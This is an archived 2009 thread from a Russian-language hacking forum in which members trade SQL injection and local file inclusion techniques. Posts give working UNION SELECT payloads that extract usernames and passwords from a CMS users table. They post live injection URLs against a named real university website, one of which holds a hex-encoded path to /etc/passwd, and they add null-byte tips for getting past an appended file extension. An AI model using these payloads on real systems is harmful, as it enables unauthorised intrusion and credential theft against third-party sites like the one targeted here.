ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
20.10.2009, 02:18
|
|
Познающий
Регистрация: 12.09.2006
Сообщений: 35
Провел на форуме:
98338
Репутация:
2
|
|
Нашёл инъекцию, но после запроса select в скрипте идет запрос update и вылетает ошибка синтаксиса с запросом:
SELECT * FROM news WHERE type='show' AND id=-32 union select 1,2,3,4,5,6,7,8,9,10 from users
UPDATE news SET count='33' WHERE id=-32 union select 1,2,3,4,5,6,7,8,9,10 from users
поле id обрабатывается функцией addslash() и into output не прокатит. Подскажите, как можно посмотреть данные минуя ошибку.
|
|
|
20.10.2009, 04:26
|
|
Познающий
Регистрация: 19.08.2008
Сообщений: 33
Провел на форуме:
140077
Репутация:
93
|
|
YoriK
SELECT * FROM news WHERE type='show' AND id=32 and 2=1 union select 1,2,3,4,5,6,7,8,9,1100 from users%23
index.php?module=news&action=details&item_id=3+and +2=1+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3a ,username,password)+from+tcms_users%23
почему не канает?
10 колонок, после апдейта вывод в 10
Последний раз редактировалось VITАL; 20.10.2009 в 17:51..
|
|
|
|
20.10.2009, 12:04
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766
Репутация:
61
|
|
Если в уязвимом скрипте идёт инклуд типа
PHP код:
include("pages/$_GET[act].php");
То можно провести внешний инклуд?
Последний раз редактировалось Byrger; 20.10.2009 в 12:15..
|
|
|
|
20.10.2009, 12:08
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
нет
|
|
|
|
20.10.2009, 12:13
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766
Репутация:
61
|
|
Сообщение от jokester
нет
А что можно полезного тогда получить из него если на машине Линукс?
|
|
|
|
20.10.2009, 12:20
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342
Репутация:
165
|
|
Сообщение от Byrger
А что можно полезного тогда получить из него если на машине Линукс?
https://forum.antichat.ru/thread12123.html
|
|
|
|
21.10.2009, 02:09
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
Сообщение от Byrger
А что можно полезного тогда получить из него если на машине Линукс?
Всё то же самое что и при удаленном. Просто потребуется немного больше времени и немного больше навыков.
|
|
|
|
21.10.2009, 12:23
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194
Репутация:
1934
|
|
тут нормальная не блайнд инъекция
http://www.univd.edu.ua/document/index.php?id_doc=123+and+1=4+union+select+database (),2,3,4,5--+-&lan=ukr
__________________
Появляюсь редко. Важные дела в реале.
|
|
|
|
21.10.2009, 12:32
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194
Репутация:
1934
|
|
о ептыть тут еще инклуд есть
http://www.univd.edu.ua/document/index.php?id_doc=123+and+1=4+union+select+database (),0x2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F6574632F7061737 37764,3,4,5--+-&lan=ukr
__________________
Появляюсь редко. Важные дела в реале.
|
|
|
|
21.10.2009, 13:52
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от DeluxeS
Помогите с чем то , помойму инклуд , LFI вроде.. Опыта совсем нет в этом
- где imyascripta: там расширение .php добавляется само...
Можно ли что то раскрутить?
Мало информации.
А вообще можно, нулл байт тебе в руки! (%00, %0A, %0D)
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
